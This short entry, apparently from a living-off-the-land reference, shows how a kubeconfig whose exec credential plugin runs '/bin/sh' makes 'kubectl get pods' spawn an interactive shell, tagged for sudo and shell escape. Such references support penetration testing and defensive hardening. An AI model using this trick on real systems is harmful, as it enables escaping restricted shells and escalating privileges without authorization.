The shell is spawn multiple times.
cat >/path/to/temp-file <<EOF
clusters:
- cluster:
server: https://x
name: x
contexts:
- context:
cluster: x
user: x
name: x
current-context: x
users:
- name: x
user:
exec:
apiVersion: client.authentication.k8s.io/v1
interactiveMode: Always
command: /bin/sh
args:
- '-c'
- '/bin/sh 0<&2 1>&2'
EOF
kubectl get pods --kubeconfig=/path/to/temp-file
- Context
- sudo
- Native
- shell